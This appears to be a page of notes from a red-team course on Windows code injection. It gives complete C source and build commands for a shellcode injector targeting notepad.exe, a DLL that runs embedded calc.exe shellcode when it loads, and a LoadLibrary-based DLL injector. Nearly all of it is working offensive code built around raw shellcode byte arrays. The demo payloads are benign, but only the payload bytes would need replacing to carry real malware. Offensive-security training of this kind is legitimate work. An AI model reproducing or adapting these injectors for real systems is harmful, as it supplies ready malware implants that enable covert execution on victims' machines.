image.png

code inject

  1. /*
  2. Red Team Operator course code template
  3. classic code injection
  4. author: reenz0h (twitter: @sektor7net)
  5. */
  6. #include <windows.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <tlhelp32.h>
  11. // MessageBox shellcode - 64-bit
  12. unsigned char payload[] = {
  13. 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  14. 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  15. 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  16. 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  17. 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  18. 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  19. 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  20. 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  21. 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  22. 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  23. 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  24. 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  25. 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  26. 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  27. 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  28. 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  29. 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  30. 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  31. 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  32. 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  33. 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  34. 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  35. 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  36. 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  37. 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  38. 0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  39. 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  40. 0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
  41. };
  42. unsigned int payload_len = 334;
  43. int FindTarget(const char *procname) {
  44. HANDLE hProcSnap;
  45. PROCESSENTRY32 pe32;
  46. int pid = 0;
  47. hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  48. if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  49. pe32.dwSize = sizeof(PROCESSENTRY32);
  50. if (!Process32First(hProcSnap, &pe32)) {
  51. CloseHandle(hProcSnap);
  52. return 0;
  53. }
  54. while (Process32Next(hProcSnap, &pe32)) {
  55. if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  56. pid = pe32.th32ProcessID;
  57. break;
  58. }
  59. }
  60. CloseHandle(hProcSnap);
  61. return pid;
  62. }
  63. int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
  64. LPVOID pRemoteCode = NULL;
  65. HANDLE hThread = NULL;
  66. pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  67. WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
  68. hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
  69. if (hThread != NULL) {
  70. WaitForSingleObject(hThread, 500);
  71. CloseHandle(hThread);
  72. return 0;
  73. }
  74. return -1;
  75. }
  76. int main(void) {
  77. int pid = 0;
  78. HANDLE hProc = NULL;
  79. pid = FindTarget("notepad.exe");
  80. if (pid) {
  81. printf("Notepad.exe PID = %d\n", pid);
  82. // try to open target process
  83. hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  84. PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  85. FALSE, (DWORD) pid);
  86. if (hProc != NULL) {
  87. Inject(hProc, payload, payload_len);
  88. CloseHandle(hProc);
  89. }
  90. }
  91. return 0;
  92. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

code inject-DLL

image.png
image.png

DLL

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. // Calc.exe shellcode (exit function = thread)
  6. unsigned char payload[] = {
  7. 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  8. 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  9. 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  10. 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  11. 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  12. 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  13. 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  14. 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  15. 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  16. 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  17. 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  18. 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  19. 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  20. 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  21. 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  22. 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  23. 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  24. 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  25. 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  26. 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  27. 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  28. 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  29. 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
  30. };
  31. unsigned int payload_len = 276;
  32. extern __declspec(dllexport) int Go(void);
  33. int Go(void) {
  34. void * exec_mem;
  35. BOOL rv;
  36. HANDLE th;
  37. DWORD oldprotect = 0;
  38. exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  39. RtlMoveMemory(exec_mem, payload, payload_len);
  40. rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  41. if ( rv != 0 ) {
  42. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  43. WaitForSingleObject(th, 0);
  44. }
  45. return 0;
  46. }
  47. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {
  48. switch ( fdwReason ) {
  49. case DLL_PROCESS_ATTACH:
  50. Go();
  51. break;
  52. case DLL_THREAD_ATTACH:
  53. break;
  54. case DLL_THREAD_DETACH:
  55. break;
  56. case DLL_PROCESS_DETACH:
  57. break;
  58. }
  59. return TRUE;
  60. }
  1. @ECHO OFF
  2. cl.exe /O2 /D_USRDLL /D_WINDLL implantDLL.cpp implantDLL.def /MT /link /DLL /OUT:implantDLL.dll

injectorDLL

  1. /*
  2. Red Team Operator course code template
  3. DLL injector
  4. author: reenz0h (twitter: @sektor7net)
  5. */
  6. #include <windows.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <tlhelp32.h>
  11. int FindTarget(const char *procname) {
  12. HANDLE hProcSnap;
  13. PROCESSENTRY32 pe32;
  14. int pid = 0;
  15. hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  16. if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  17. pe32.dwSize = sizeof(PROCESSENTRY32);
  18. if (!Process32First(hProcSnap, &pe32)) {
  19. CloseHandle(hProcSnap);
  20. return 0;
  21. }
  22. while (Process32Next(hProcSnap, &pe32)) {
  23. if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  24. pid = pe32.th32ProcessID;
  25. break;
  26. }
  27. }
  28. CloseHandle(hProcSnap);
  29. return pid;
  30. }
  31. int main(int argc, char *argv[]) {
  32. HANDLE pHandle;
  33. PVOID remBuf;
  34. PTHREAD_START_ROUTINE pLoadLibrary = NULL;
  35. char dll[] = "Z:\\RTO\\07.Code_Injection\\02.DLL\\implantDLL.dll";
  36. char target[] = "notepad.exe";
  37. int pid = 0;
  38. pid = FindTarget(target);
  39. if ( pid == 0) {
  40. printf("Target NOT FOUND! Exiting.\n");
  41. return -1;
  42. }
  43. printf("Target PID: [ %d ]\nInjecting...", pid);
  44. pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
  45. pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
  46. if (pHandle != NULL) {
  47. remBuf = VirtualAllocEx(pHandle, NULL, sizeof(dll), MEM_COMMIT, PAGE_READWRITE);
  48. WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);
  49. CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
  50. printf("done!\nremBuf addr = %p\n", remBuf);
  51. CloseHandle(pHandle);
  52. }
  53. else {
  54. printf("OpenProcess failed! Exiting.\n");
  55. return -2;
  56. }
  57. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcinjectDLL.cpp /link /OUT:injectDLL.exe /SUBSYSTEM:CONSOLE /MACHINE:x64